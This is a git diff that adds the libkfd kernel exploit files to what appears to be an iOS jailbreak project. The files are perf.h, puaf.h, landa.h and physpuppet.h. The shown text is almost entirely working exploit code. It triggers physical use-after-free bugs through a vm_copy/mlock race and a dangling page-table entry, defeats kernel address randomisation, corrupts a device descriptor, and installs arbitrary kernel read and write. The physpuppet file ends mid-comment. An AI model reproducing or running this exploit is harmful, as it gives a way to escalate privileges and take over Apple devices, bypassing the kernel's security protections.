+ volatile struct perfmon_source* source = (volatile struct perfmon_source*)(kfd->perf.shared_page.uaddr + sizeof(*config));
+ volatile struct perfmon_event* event = (volatile struct perfmon_event*)(kfd->perf.shared_page.uaddr + sizeof(*config) + sizeof(*source));
+
+ u64 source_kaddr = kfd->perf.shared_page.kaddr + sizeof(*config);
+ u64 event_kaddr = kfd->perf.shared_page.kaddr + sizeof(*config) + sizeof(*source);
+
+ for (u64 i = 0; i < (size / sizeof(u64)); i++) {
+ *config = (volatile struct perfmon_config){};
+ *source = (volatile struct perfmon_source){};
+ *event = (volatile struct perfmon_event){};
+
+ config->pc_source = (struct perfmon_source*)(source_kaddr);
+ config->pc_spec.ps_events = (struct perfmon_event*)(event_kaddr);
+ config->pc_counters = (struct perfmon_counter*)(kaddr + (i * sizeof(u64)));
+
+ source->ps_layout.pl_counter_count = 1;
+ source->ps_layout.pl_fixed_offset = 1;
+
+ struct perfmon_event event_buffer = {};
+ u64 kvalue = ((volatile u64*)(uaddr))[i];
+ event_buffer.pe_number = kvalue;
+ assert_bsd(ioctl(kfd->perf.dev.fd, PERFMON_CTL_ADD_EVENT, &event_buffer));
+ }
+
+ *config = (volatile struct perfmon_config){};
+ *source = (volatile struct perfmon_source){};
+ *event = (volatile struct perfmon_event){};
+}
+
+void perf_init(struct kfd* kfd)
+{
+ if (!kern_versions[kfd->info.env.vid].perf_supported) {
+ return;
+ }
+
+ /*
+ * Allocate a page that will be used as a shared buffer between user space and kernel space.
+ */
+ vm_address_t shared_page_address = 0;
+ vm_size_t shared_page_size = pages(1);
+ assert_mach(vm_allocate(mach_task_self(), &shared_page_address, shared_page_size, VM_FLAGS_ANYWHERE));
+ memset((void*)(shared_page_address), 0, shared_page_size);
+ kfd->perf.shared_page.uaddr = shared_page_address;
+ kfd->perf.shared_page.size = shared_page_size;
+
+ /*
+ * Open a "/dev/aes_0" descriptor, then use it to find the kernel slide.
+ */
+ kfd->perf.dev.fd = open("/dev/aes_0", O_RDWR);
+ assert(kfd->perf.dev.fd > 0);
+}
+
+void perf_run(struct kfd* kfd)
+{
+ if (!kern_versions[kfd->info.env.vid].perf_supported) {
+ return;
+ }
+
+ assert(kfd->info.kaddr.current_proc);
+ u64 fd_ofiles = dynamic_kget(proc__p_fd__fd_ofiles, kfd->info.kaddr.current_proc);
+ u64 fileproc_kaddr = UNSIGN_PTR(fd_ofiles) + (kfd->perf.dev.fd * sizeof(u64));
+ u64 fileproc = 0;
+ kread((u64)(kfd), fileproc_kaddr, &fileproc, sizeof(fileproc));
+ u64 fp_glob_kaddr = fileproc + offsetof(struct fileproc, fp_glob);
+ u64 fp_glob = 0;
+ kread((u64)(kfd), fp_glob_kaddr, &fp_glob, sizeof(fp_glob));
+ u64 fg_ops = static_kget(struct fileglob, fg_ops, UNSIGN_PTR(fp_glob));
+ u64 fo_kqfilter = static_kget(struct fileops, fo_kqfilter, UNSIGN_PTR(fg_ops));
+ u64 vn_kqfilter = UNSIGN_PTR(fo_kqfilter);
+ u64 kernel_slide = vn_kqfilter - dynamic_info(kernelcache__vn_kqfilter);
+ u64 kernel_base = ARM64_LINK_ADDR + kernel_slide;
+ kfd->perf.kernel_slide = kernel_slide;
+ print_x64(kfd->perf.kernel_slide);
+
+ if (kfd->kread.krkw_method_ops.kread == kread_sem_open_kread) {
+ u32 mh_header[2] = {};
+ mh_header[0] = kread_sem_open_kread_u32(kfd, kernel_base);
+ mh_header[1] = kread_sem_open_kread_u32(kfd, kernel_base + 4);
+ assert(mh_header[0] == 0xfeedfacf);
+ assert(mh_header[1] == 0x0100000c);
+ }
+
+ /*
+ * Corrupt the "/dev/aes_0" descriptor into a "/dev/perfmon_core" descriptor.
+ */
+ u64 fg_data = static_kget(struct fileglob, fg_data, UNSIGN_PTR(fp_glob));
+ u64 v_specinfo = static_kget(struct vnode, v_un.vu_specinfo, UNSIGN_PTR(fg_data));
+ kfd->perf.dev.si_rdev_kaddr = UNSIGN_PTR(v_specinfo) + offsetof(struct specinfo, si_rdev);
+ kread((u64)(kfd), kfd->perf.dev.si_rdev_kaddr, &kfd->perf.dev.si_rdev_buffer, sizeof(kfd->perf.dev.si_rdev_buffer));
+
+ u64 cdevsw_kaddr = dynamic_info(kernelcache__cdevsw) + kernel_slide;
+ u64 perfmon_dev_open_kaddr = dynamic_info(kernelcache__perfmon_dev_open) + kernel_slide;
+ u64 cdevsw[14] = {};
+ u32 dev_new_major = 0;
+ for (u64 dmaj = 0; dmaj < 64; dmaj++) {
+ u64 kaddr = cdevsw_kaddr + (dmaj * sizeof(cdevsw));
+ kread((u64)(kfd), kaddr, &cdevsw, sizeof(cdevsw));
+ u64 d_open = UNSIGN_PTR(cdevsw[0]);
+ if (d_open == perfmon_dev_open_kaddr) {
+ dev_new_major = (dmaj << 24);
+ break;
+ }
+ }
+
+ u32 new_si_rdev_buffer[2] = {};
+ new_si_rdev_buffer[0] = dev_new_major;
+ new_si_rdev_buffer[1] = kfd->perf.dev.si_rdev_buffer[1] + 1;
+ kwrite((u64)(kfd), &new_si_rdev_buffer, kfd->perf.dev.si_rdev_kaddr, sizeof(new_si_rdev_buffer));
+
+ /*
+ * Find ptov_table, gVirtBase, gPhysBase, gPhysSize, TTBR0 and TTBR1.
+ */
+ u64 ptov_table_kaddr = dynamic_info(kernelcache__ptov_table) + kernel_slide;
+ kread((u64)(kfd), ptov_table_kaddr, &kfd->perf.ptov_table, sizeof(kfd->perf.ptov_table));
+
+ u64 gVirtBase_kaddr = dynamic_info(kernelcache__gVirtBase) + kernel_slide;
+ kread((u64)(kfd), gVirtBase_kaddr, &kfd->perf.gVirtBase, sizeof(kfd->perf.gVirtBase));
+ print_x64(kfd->perf.gVirtBase);
+
+ u64 gPhysBase_kaddr = dynamic_info(kernelcache__gPhysBase) + kernel_slide;
+ kread((u64)(kfd), gPhysBase_kaddr, &kfd->perf.gPhysBase, sizeof(kfd->perf.gPhysBase));
+ print_x64(kfd->perf.gPhysBase);
+
+ u64 gPhysSize_kaddr = dynamic_info(kernelcache__gPhysSize) + kernel_slide;
+ kread((u64)(kfd), gPhysSize_kaddr, &kfd->perf.gPhysSize, sizeof(kfd->perf.gPhysSize));
+ print_x64(kfd->perf.gPhysSize);
+
+ assert(kfd->info.kaddr.current_pmap);
+ kfd->perf.ttbr[0].va = static_kget(struct pmap, tte, kfd->info.kaddr.current_pmap);
+ kfd->perf.ttbr[0].pa = static_kget(struct pmap, ttep, kfd->info.kaddr.current_pmap);
+ assert(phystokv(kfd, kfd->perf.ttbr[0].pa) == kfd->perf.ttbr[0].va);
+
+ assert(kfd->info.kaddr.kernel_pmap);
+ kfd->perf.ttbr[1].va = static_kget(struct pmap, tte, kfd->info.kaddr.kernel_pmap);
+ kfd->perf.ttbr[1].pa = static_kget(struct pmap, ttep, kfd->info.kaddr.kernel_pmap);
+ assert(phystokv(kfd, kfd->perf.ttbr[1].pa) == kfd->perf.ttbr[1].va);
+
+ /*
+ * Find the shared page in kernel space.
+ */
+ kfd->perf.shared_page.paddr = vtophys(kfd, kfd->perf.shared_page.uaddr);
+ kfd->perf.shared_page.kaddr = phystokv(kfd, kfd->perf.shared_page.paddr);
+
+ /*
+ * Set up the perfmon device use for the master kread and kwrite:
+ * - perfmon_devices[0][0].pmdv_config = kfd->perf.shared_page.kaddr
+ * - perfmon_devices[0][0].pmdv_allocated = true
+ */
+ struct perfmon_device perfmon_device = {};
+ u64 perfmon_device_kaddr = dynamic_info(kernelcache__perfmon_devices) + kernel_slide;
+ u8* perfmon_device_uaddr = (u8*)(&perfmon_device);
+ kread((u64)(kfd), perfmon_device_kaddr, &perfmon_device, sizeof(perfmon_device));
+
+ perfmon_device.pmdv_mutex[1] = (-1);
+ perfmon_device.pmdv_config = (struct perfmon_config*)(kfd->perf.shared_page.kaddr);
+ perfmon_device.pmdv_allocated = true;
+
+ kwrite((u64)(kfd), perfmon_device_uaddr + 12, perfmon_device_kaddr + 12, sizeof(u64));
+ ((volatile u32*)(perfmon_device_uaddr))[4] = 0;
+ kwrite((u64)(kfd), perfmon_device_uaddr + 16, perfmon_device_kaddr + 16, sizeof(u64));
+ ((volatile u32*)(perfmon_device_uaddr))[5] = 0;
+ kwrite((u64)(kfd), perfmon_device_uaddr + 20, perfmon_device_kaddr + 20, sizeof(u64));
+ kwrite((u64)(kfd), perfmon_device_uaddr + 24, perfmon_device_kaddr + 24, sizeof(u64));
+ kwrite((u64)(kfd), perfmon_device_uaddr + 28, perfmon_device_kaddr + 28, sizeof(u64));
+
+ kfd->perf.saved_kread = kfd->kread.krkw_method_ops.kread;
+ kfd->perf.saved_kwrite = kfd->kwrite.krkw_method_ops.kwrite;
+ kfd->kread.krkw_method_ops.kread = perf_kread;
+ kfd->kwrite.krkw_method_ops.kwrite = perf_kwrite;
+}
+
+void perf_free(struct kfd* kfd)
+{
+ if (!kern_versions[kfd->info.env.vid].perf_supported) {
+ return;
+ }
+
+ kfd->kread.krkw_method_ops.kread = kfd->perf.saved_kread;
+ kfd->kwrite.krkw_method_ops.kwrite = kfd->perf.saved_kwrite;
+
+ /*
+ * Restore the "/dev/perfmon_core" descriptor back to the "/dev/aes_0" descriptor.
+ * Then, close it and deallocate the shared page.
+ * This leaves the first perfmon device "pmdv_allocated", which is fine.
+ */
+ kwrite((u64)(kfd), &kfd->perf.dev.si_rdev_buffer, kfd->perf.dev.si_rdev_kaddr, sizeof(kfd->perf.dev.si_rdev_buffer));
+ assert_bsd(close(kfd->perf.dev.fd));
+ assert_mach(vm_deallocate(mach_task_self(), kfd->perf.shared_page.uaddr, kfd->perf.shared_page.size));
+}
+
+/*
+ * Helper perf functions.
+ */
+
+u64 phystokv(struct kfd* kfd, u64 pa)
+{
+ const u64 PTOV_TABLE_SIZE = 8;
+ const u64 gVirtBase = kfd->perf.gVirtBase;
+ const u64 gPhysBase = kfd->perf.gPhysBase;
+ const u64 gPhysSize = kfd->perf.gPhysSize;
+ const struct ptov_table_entry* ptov_table = &kfd->perf.ptov_table[0];
+
+ for (u64 i = 0; (i < PTOV_TABLE_SIZE) && (ptov_table[i].len != 0); i++) {
+ if ((pa >= ptov_table[i].pa) && (pa < (ptov_table[i].pa + ptov_table[i].len))) {
+ return pa - ptov_table[i].pa + ptov_table[i].va;
+ }
+ }
+
+ assert(!((pa < gPhysBase) || ((pa - gPhysBase) >= gPhysSize)));
+ return pa - gPhysBase + gVirtBase;
+}
+
+u64 vtophys(struct kfd* kfd, u64 va)
+{
+ const u64 ROOT_LEVEL = PMAP_TT_L1_LEVEL;
+ const u64 LEAF_LEVEL = PMAP_TT_L3_LEVEL;
+
+ u64 pa = 0;
+ u64 tt_kaddr = (va >> 63) ? kfd->perf.ttbr[1].va : kfd->perf.ttbr[0].va;
+
+ for (u64 cur_level = ROOT_LEVEL; cur_level <= LEAF_LEVEL; cur_level++) {
+ u64 offmask, shift, index_mask, valid_mask, type_mask, type_block;
+ switch (cur_level) {
+ case PMAP_TT_L0_LEVEL: {
+ offmask = ARM_16K_TT_L0_OFFMASK;
+ shift = ARM_16K_TT_L0_SHIFT;
+ index_mask = ARM_16K_TT_L0_INDEX_MASK;
+ valid_mask = ARM_TTE_VALID;
+ type_mask = ARM_TTE_TYPE_MASK;
+ type_block = ARM_TTE_TYPE_BLOCK;
+ break;
+ }
+ case PMAP_TT_L1_LEVEL: {
+ offmask = ARM_16K_TT_L1_OFFMASK;
+ shift = ARM_16K_TT_L1_SHIFT;
+ index_mask = ARM_16K_TT_L1_INDEX_MASK;
+ valid_mask = ARM_TTE_VALID;
+ type_mask = ARM_TTE_TYPE_MASK;
+ type_block = ARM_TTE_TYPE_BLOCK;
+ break;
+ }
+ case PMAP_TT_L2_LEVEL: {
+ offmask = ARM_16K_TT_L2_OFFMASK;
+ shift = ARM_16K_TT_L2_SHIFT;
+ index_mask = ARM_16K_TT_L2_INDEX_MASK;
+ valid_mask = ARM_TTE_VALID;
+ type_mask = ARM_TTE_TYPE_MASK;
+ type_block = ARM_TTE_TYPE_BLOCK;
+ break;
+ }
+ case PMAP_TT_L3_LEVEL: {
+ offmask = ARM_16K_TT_L3_OFFMASK;
+ shift = ARM_16K_TT_L3_SHIFT;
+ index_mask = ARM_16K_TT_L3_INDEX_MASK;
+ valid_mask = ARM_PTE_TYPE_VALID;
+ type_mask = ARM_PTE_TYPE_MASK;
+ type_block = ARM_TTE_TYPE_L3BLOCK;
+ break;
+ }
+ default: {
+ assert_false("bad pmap tt level");
+ return 0;
+ }
+ }
+
+ u64 tte_index = (va & index_mask) >> shift;
+ u64 tte_kaddr = tt_kaddr + (tte_index * sizeof(u64));
+ u64 tte = 0;
+ kread((u64)(kfd), tte_kaddr, &tte, sizeof(tte));
+
+ if ((tte & valid_mask) != valid_mask) {
+ return 0;
+ }
+
+ if ((tte & type_mask) == type_block) {
+ pa = ((tte & ARM_TTE_PA_MASK & ~offmask) | (va & offmask));
+ break;
+ }
+
+ tt_kaddr = phystokv(kfd, tte & ARM_TTE_TABLE_MASK);
+ }
+
+ return pa;
+}
+
+#endif /* perf_h */
diff --git a/RootHelperSample/launchdshim/launchdhook/libkfd/puaf.h b/RootHelperSample/launchdshim/launchdhook/libkfd/puaf.h
new file mode 100644
index 00000000..5bf6483a
--- /dev/null
+++ b/RootHelperSample/launchdshim/launchdhook/libkfd/puaf.h
@@ -0,0 +1,159 @@
+/*
+ * Copyright (c) 2023 Félix Poulin-Bélanger. All rights reserved.
+ */
+
+#ifndef puaf_h
+#define puaf_h
+
+// Forward declarations for helper functions.
+void puaf_helper_get_vm_map_first_and_last(u64* first_out, u64* last_out);
+void puaf_helper_get_vm_map_min_and_max(u64* min_out, u64* max_out);
+void puaf_helper_give_ppl_pages(void);
+
+#include "puaf/landa.h"
+#include "puaf/physpuppet.h"
+#include "puaf/smith.h"
+
+#define puaf_method_case(method) \
+ case puaf_##method: { \
+ const char* method_name = #method; \
+ print_string(method_name); \
+ kfd->puaf.puaf_method_ops.init = method##_init; \
+ kfd->puaf.puaf_method_ops.run = method##_run; \
+ kfd->puaf.puaf_method_ops.cleanup = method##_cleanup; \
+ kfd->puaf.puaf_method_ops.free = method##_free; \
+ break; \
+ }
+
+void puaf_init(struct kfd* kfd, u64 puaf_pages, u64 puaf_method)
+{
+ kfd->puaf.number_of_puaf_pages = puaf_pages;
+ kfd->puaf.puaf_pages_uaddr = (u64*)(malloc_bzero(kfd->puaf.number_of_puaf_pages * sizeof(u64)));
+
+ switch (puaf_method) {
+ puaf_method_case(landa)
+ puaf_method_case(physpuppet)
+ puaf_method_case(smith)
+ }
+
+ kfd->puaf.puaf_method_ops.init(kfd);
+}
+
+void puaf_run(struct kfd* kfd)
+{
+ puaf_helper_give_ppl_pages();
+
+ timer_start();
+ kfd->puaf.puaf_method_ops.run(kfd);
+ timer_end();
+}
+
+void puaf_cleanup(struct kfd* kfd)
+{
+ timer_start();
+ kfd->puaf.puaf_method_ops.cleanup(kfd);
+ timer_end();
+}
+
+void puaf_free(struct kfd* kfd)
+{
+ kfd->puaf.puaf_method_ops.free(kfd);
+
+ bzero_free(kfd->puaf.puaf_pages_uaddr, kfd->puaf.number_of_puaf_pages * sizeof(u64));
+
+ if (kfd->puaf.puaf_method_data) {
+ bzero_free(kfd->puaf.puaf_method_data, kfd->puaf.puaf_method_data_size);
+ }
+}
+
+/*
+ * Helper puaf functions.
+ */
+
+void puaf_helper_get_vm_map_first_and_last(u64* first_out, u64* last_out)
+{
+ u64 first_address = 0;
+ u64 last_address = 0;
+
+ vm_address_t address = 0;
+ vm_size_t size = 0;
+ vm_region_basic_info_data_64_t data = {};
+ vm_region_info_t info = (vm_region_info_t)(&data);
+ mach_msg_type_number_t count = VM_REGION_BASIC_INFO_COUNT_64;
+ mach_port_t port = MACH_PORT_NULL;
+
+ while (true) {
+ kern_return_t kret = vm_region_64(mach_task_self(), &address, &size, VM_REGION_BASIC_INFO_64, info, &count, &port);
+ if (kret == KERN_INVALID_ADDRESS) {
+ last_address = address;
+ break;
+ }
+
+ assert(kret == KERN_SUCCESS);
+
+ if (!first_address) {
+ first_address = address;
+ }
+
+ address += size;
+ size = 0;
+ }
+
+ *first_out = first_address;
+ *last_out = last_address;
+}
+
+void puaf_helper_get_vm_map_min_and_max(u64* min_out, u64* max_out)
+{
+ task_vm_info_data_t data = {};
+ task_info_t info = (task_info_t)(&data);
+ mach_msg_type_number_t count = TASK_VM_INFO_COUNT;
+ assert_mach(task_info(mach_task_self(), TASK_VM_INFO, info, &count));
+
+ *min_out = data.min_address;
+ *max_out = data.max_address;
+}
+
+void puaf_helper_give_ppl_pages(void)
+{
+ timer_start();
+
+ const u64 given_ppl_pages_max = 10000;
+ const u64 l2_block_size = (1ull << 25);
+
+ vm_address_t addresses[given_ppl_pages_max] = {};
+ vm_address_t address = 0;
+ u64 given_ppl_pages = 0;
+
+ u64 min_address, max_address;
+ puaf_helper_get_vm_map_min_and_max(&min_address, &max_address);
+
+ while (true) {
+ address += l2_block_size;
+ if (address < min_address) {
+ continue;
+ }
+
+ if (address >= max_address) {
+ break;
+ }
+
+ kern_return_t kret = vm_allocate(mach_task_self(), &address, pages(1), VM_FLAGS_FIXED);
+ if (kret == KERN_SUCCESS) {
+ memset((void*)(address), 'A', 1);
+ addresses[given_ppl_pages] = address;
+ if (++given_ppl_pages == given_ppl_pages_max) {
+ break;
+ }
+ }
+ }
+
+ for (u64 i = 0; i < given_ppl_pages; i++) {
+ assert_mach(vm_deallocate(mach_task_self(), addresses[i], pages(1)));
+ }
+
+ print_u64(given_ppl_pages);
+ timer_end();
+}
+
+#endif /* puaf_h */
diff --git a/RootHelperSample/launchdshim/launchdhook/libkfd/puaf/landa.h b/RootHelperSample/launchdshim/launchdhook/libkfd/puaf/landa.h
new file mode 100644
index 00000000..e4ac39f4
--- /dev/null
+++ b/RootHelperSample/launchdshim/launchdhook/libkfd/puaf/landa.h
@@ -0,0 +1,195 @@
+/*
+ * Copyright (c) 2023 Félix Poulin-Bélanger. All rights reserved.
+ */
+
+#ifndef landa_h
+#define landa_h
+
+const u64 landa_vme1_size = pages(1);
+const u64 landa_vme2_size = pages(1);
+const u64 landa_vme4_size = pages(1);
+
+// Forward declarations for helper functions.
+void* landa_helper_spinner_pthread(void* arg);
+
+struct landa_data {
+ atomic_bool main_thread_returned;
+ atomic_bool spinner_thread_started;
+ vm_address_t copy_src_address;
+ vm_address_t copy_dst_address;
+ vm_size_t copy_size;
+};
+
+void landa_init(struct kfd* kfd)
+{
+ kfd->puaf.puaf_method_data_size = sizeof(struct landa_data);
+ kfd->puaf.puaf_method_data = malloc_bzero(kfd->puaf.puaf_method_data_size);
+}
+
+void landa_run(struct kfd* kfd)
+{
+ struct landa_data* landa = (struct landa_data*)(kfd->puaf.puaf_method_data);
+
+ /*
+ * Note:
+ * - The size of [src/dst]_vme_3 must be equal to pages(X), i.e. the desired PUAF size.
+ * - The copy_size must be greater than msg_ool_size_small (32 KiB), therefore it is
+ * sufficient for [src/dst]_vme_1 and [src/dst]_vme_2 to have a size of pages(1).
+ */
+ u64 landa_vme3_size = pages(kfd->puaf.number_of_puaf_pages);
+ vm_size_t copy_size = landa_vme1_size + landa_vme2_size + landa_vme3_size;
+ landa->copy_size = copy_size;
+
+ /*
+ * STEP 1A:
+ *
+ * Allocate the source VMEs and VMOs:
+ * - src_vme_1 has a size of pages(1) and owns the only reference to src_vmo_1.
+ * - src_vme_2 has a size of pages(1) and owns the only reference to src_vmo_2.
+ * - src_vme_3 has a size of pages(X) and owns the only reference to src_vmo_3.
+ */
+ vm_address_t src_address = 0;
+ vm_size_t src_size = copy_size;
+ assert_mach(vm_allocate(mach_task_self(), &src_address, src_size, VM_FLAGS_ANYWHERE | VM_FLAGS_RANDOM_ADDR));
+ landa->copy_src_address = src_address;
+
+ vm_address_t vme1_src_address = src_address;
+ vm_address_t vme2_src_address = vme1_src_address + landa_vme1_size;
+ vm_address_t vme3_src_address = vme2_src_address + landa_vme2_size;
+ assert_mach(vm_allocate(mach_task_self(), &vme1_src_address, landa_vme1_size, VM_FLAGS_FIXED | VM_FLAGS_OVERWRITE | VM_FLAGS_PURGABLE));
+ assert_mach(vm_allocate(mach_task_self(), &vme2_src_address, landa_vme2_size, VM_FLAGS_FIXED | VM_FLAGS_OVERWRITE | VM_FLAGS_PURGABLE));
+ assert_mach(vm_allocate(mach_task_self(), &vme3_src_address, landa_vme3_size, VM_FLAGS_FIXED | VM_FLAGS_OVERWRITE | VM_FLAGS_PURGABLE));
+
+ memset((void*)(src_address), 'A', copy_size);
+
+ /*
+ * STEP 1B:
+ *
+ * Allocate the destination VMEs and VMOs:
+ * - dst_vme_1 has a size of pages(1) and owns the only reference to dst_vmo_1.
+ * dst_vme_1->user_wired_count == MAX_WIRE_COUNT, because of the mlock() for-loop.
+ * - dst_vme_2 has a size of pages(1) and owns the only reference to dst_vmo_2.
+ * dst_vme_2->is_shared == TRUE, because of the vm_remap() on itself.
+ * dst_vme_2->user_wired_count == 1, because of mlock().
+ * - After the clip in vm_protect(), dst_vme_3 has a size of pages(X) and dst_vme_4 has a size of pages(1).
+ * dst_vme_3 and dst_vme_4 each have a reference to dst_vmo_3.
+ */
+ vm_address_t dst_address = 0;
+ vm_size_t dst_size = copy_size + landa_vme4_size;
+ assert_mach(vm_allocate(mach_task_self(), &dst_address, dst_size, VM_FLAGS_ANYWHERE | VM_FLAGS_RANDOM_ADDR));
+ landa->copy_dst_address = dst_address;
+
+ vm_address_t vme1_dst_address = dst_address;
+ vm_address_t vme2_dst_address = vme1_dst_address + landa_vme1_size;
+ vm_address_t vme3_dst_address = vme2_dst_address + landa_vme2_size;
+ vm_address_t vme4_dst_address = vme3_dst_address + landa_vme3_size;
+ vm_prot_t cur_protection = VM_PROT_DEFAULT;
+ vm_prot_t max_protection = VM_PROT_ALL;
+ assert_mach(vm_allocate(mach_task_self(), &vme1_dst_address, landa_vme1_size, VM_FLAGS_FIXED | VM_FLAGS_OVERWRITE | VM_FLAGS_PURGABLE));
+ assert_mach(vm_allocate(mach_task_self(), &vme2_dst_address, landa_vme2_size, VM_FLAGS_FIXED | VM_FLAGS_OVERWRITE | VM_FLAGS_PURGABLE));
+ assert_mach(vm_remap(mach_task_self(), &vme2_dst_address, landa_vme2_size, 0, VM_FLAGS_FIXED | VM_FLAGS_OVERWRITE,
+ mach_task_self(), vme2_dst_address, FALSE, &cur_protection, &max_protection, VM_INHERIT_DEFAULT));
+ assert_mach(vm_allocate(mach_task_self(), &vme3_dst_address, landa_vme3_size + landa_vme4_size, VM_FLAGS_FIXED | VM_FLAGS_OVERWRITE | VM_FLAGS_PURGABLE));
+ assert_mach(vm_protect(mach_task_self(), vme4_dst_address, landa_vme4_size, FALSE, VM_PROT_READ));
+
+ memset((void*)(dst_address), 'B', copy_size);
+
+ for (u64 i = 0; i < UINT16_MAX; i++) {
+ assert_bsd(mlock((void*)(vme1_dst_address), landa_vme1_size));
+ }
+
+ assert_bsd(mlock((void*)(vme2_dst_address), landa_vme2_size));
+
+ /*
+ * STEP 2:
+ *
+ * Trigger the race condition between vm_copy() in the main thread and mlock() in the spinner thread.
+ */
+ pthread_t spinner_thread = NULL;
+ assert_bsd(pthread_create(&spinner_thread, NULL, landa_helper_spinner_pthread, kfd));
+
+ while (!atomic_load(&landa->spinner_thread_started)) {
+ usleep(10);
+ }
+
+ assert_mach(vm_copy(mach_task_self(), src_address, copy_size, dst_address));
+ atomic_store(&landa->main_thread_returned, true);
+ assert_bsd(pthread_join(spinner_thread, NULL));
+
+ /*
+ * STEP 3:
+ *
+ * Deallocate dst_vme_4, which will in turn deallocate the last reference of dst_vmo_3.
+ * Therefore, dst_vmo_3 will be reaped and its pages put back on the free list.
+ * However, we now have a PUAF on up to X of those pages in the VA range of dst_vme_3.
+ */
+ assert_mach(vm_deallocate(mach_task_self(), vme4_dst_address, landa_vme4_size));
+
+ for (u64 i = 0; i < kfd->puaf.number_of_puaf_pages; i++) {
+ kfd->puaf.puaf_pages_uaddr[i] = vme3_dst_address + pages(i);
+ }
+}
+
+void landa_cleanup(struct kfd* kfd)
+{
+ struct landa_data* landa = (struct landa_data*)(kfd->puaf.puaf_method_data);
+ u64 kread_page_uaddr = trunc_page(kfd->kread.krkw_object_uaddr);
+ u64 kwrite_page_uaddr = trunc_page(kfd->kwrite.krkw_object_uaddr);
+
+ u64 min_puaf_page_uaddr = min(kread_page_uaddr, kwrite_page_uaddr);
+ u64 max_puaf_page_uaddr = max(kread_page_uaddr, kwrite_page_uaddr);
+
+ assert_mach(vm_deallocate(mach_task_self(), landa->copy_src_address, landa->copy_size));
+
+ vm_address_t address1 = landa->copy_dst_address;
+ vm_size_t size1 = min_puaf_page_uaddr - landa->copy_dst_address;
+ assert_mach(vm_deallocate(mach_task_self(), address1, size1));
+
+ vm_address_t address2 = max_puaf_page_uaddr + pages(1);
+ vm_size_t size2 = (landa->copy_dst_address + landa->copy_size) - address2;
+ assert_mach(vm_deallocate(mach_task_self(), address2, size2));
+
+ /*
+ * No middle block if the kread and kwrite pages are the same or back-to-back.
+ */
+ if ((max_puaf_page_uaddr - min_puaf_page_uaddr) > pages(1)) {
+ vm_address_t address3 = min_puaf_page_uaddr + pages(1);
+ vm_size_t size3 = (max_puaf_page_uaddr - address3);
+ assert_mach(vm_deallocate(mach_task_self(), address3, size3));
+ }
+}
+
+void landa_free(struct kfd* kfd)
+{
+ u64 kread_page_uaddr = trunc_page(kfd->kread.krkw_object_uaddr);
+ u64 kwrite_page_uaddr = trunc_page(kfd->kwrite.krkw_object_uaddr);
+
+ assert_mach(vm_deallocate(mach_task_self(), kread_page_uaddr, pages(1)));
+ if (kwrite_page_uaddr != kread_page_uaddr) {
+ assert_mach(vm_deallocate(mach_task_self(), kwrite_page_uaddr, pages(1)));
+ }
+}
+
+/*
+ * Helper landa functions.
+ */
+
+void* landa_helper_spinner_pthread(void* arg)
+{
+ struct kfd* kfd = (struct kfd*)(arg);
+ struct landa_data* landa = (struct landa_data*)(kfd->puaf.puaf_method_data);
+
+ atomic_store(&landa->spinner_thread_started, true);
+
+ while (!atomic_load(&landa->main_thread_returned)) {
+ kern_return_t kret = mlock((void*)(landa->copy_dst_address), landa->copy_size);
+ assert((kret == KERN_SUCCESS) || ((kret == (-1)) && (errno == ENOMEM)));
+ if (kret == KERN_SUCCESS) {
+ break;
+ }
+ }
+
+ return NULL;
+}
+
+#endif /* landa_h */
diff --git a/RootHelperSample/launchdshim/launchdhook/libkfd/puaf/physpuppet.h b/RootHelperSample/launchdshim/launchdhook/libkfd/puaf/physpuppet.h
new file mode 100644
index 00000000..f481760f
--- /dev/null
+++ b/RootHelperSample/launchdshim/launchdhook/libkfd/puaf/physpuppet.h
@@ -0,0 +1,117 @@
+/*
+ * Copyright (c) 2023 Félix Poulin-Bélanger. All rights reserved.
+ */
+
+#ifndef physpuppet_h
+#define physpuppet_h
+
+const u64 physpuppet_vmne_size = pages(2) + 1;
+const u64 physpuppet_vme_offset = pages(1);
+const u64 physpuppet_vme_size = pages(2);
+
+void physpuppet_init(struct kfd* kfd)
+{
+ /*
+ * Nothing to do.
+ */
+ return;
+}
+
+void physpuppet_run(struct kfd* kfd)
+{
+ for (u64 i = 0; i < kfd->puaf.number_of_puaf_pages; i++) {
+ /*
+ * STEP 1:
+ *
+ * Create a vm_named_entry. It will be backed by a vm_object with a
+ * vo_size of 3 pages and an initial ref_count of 1.
+ */
+ mach_port_t named_entry = MACH_PORT_NULL;
+ assert_mach(mach_memory_object_memory_entry_64(mach_host_self(), true, physpuppet_vmne_size, VM_PROT_DEFAULT, MEMORY_OBJECT_NULL, &named_entry));
+
+ /*
+ * STEP 2:
+ *
+ * Map the vm_named_entry into our vm_map. This will create a
+ * vm_map_entry with a vme_start that is page-aligned, but a vme_end
+ * that is not (vme_end = vme_start + 1 page + 1 byte). The new
+ * vm_map_entry's vme_object is shared with the vm_named_entry, and
+ * therefore its ref_count goes up to 2. Finally, the new vm_map_entry's
+ * vme_offset is 1 page.
+ */
+ vm_address_t address = 0;
+ assert_mach(vm_map(mach_task_self(), &address, (-1), 0, VM_FLAGS_ANYWHERE | VM_FLAGS_RANDOM_ADDR, named_entry, physpuppet_vme_offset, false, VM_PROT_DEFAULT, VM_PROT_DEFAULT, VM_INHERIT_DEFAULT));
+
+ /*
+ * STEP 3:
+ *
+ * Fault in both pages covered by the vm_map_entry. This will populate
+ * the second and third vm_pages (by vmp_offset) of the vm_object. Most
+ * importantly, this will set the two L3 PTEs covered by that virtual
+ * address range with read and write permissions.
+ */
+ memset((void*)(address), 'A', physpuppet_vme_size);
+
+ /*
+ * STEP 4:
+ *
+ * Unmap that virtual address range. Crucially, when vm_map_delete()
+ * calls pmap_remove_options(), only the first L3 PTE gets cleared. The
+ * vm_map_entry is deallocated and therefore the vm_object's ref_count
+ * goes down to 1.
+ */
+ assert_mach(vm_deallocate(mach_task_self(), address, physpuppet_vme_size));
+
+ /*
+ * STEP 5:
+ *
+ * Destroy the vm_named_entry. The vm_object's ref_count drops to 0 and
+ * therefore is reaped. This will put all of its vm_pages on the free
+ * list without calling pmap_disconnect().
+ */
+ assert_mach(mach_port_deallocate(mach_task_self(), named_entry));
+ kfd->puaf.puaf_pages_uaddr[i] = address + physpuppet_vme_offset;
+
+ /*
+ * STEP 6:
+ *
+ * At this point, we have a dangling L3 PTE. However, there's a
+ * discrepancy between the vm_map and the pmap. If not fixed, it will
+ * cause a panic when the process exits. Therefore, we need to reinsert
+ * a vm_map_entry in that virtual address range. We also need to fault
+ * in the first page to populate the vm_object. Otherwise,
+ * vm_map_delete() won't call pmap_remove_options() on exit. But we
+ * don't fault in the second page to avoid overwriting our dangling PTE.
+ */
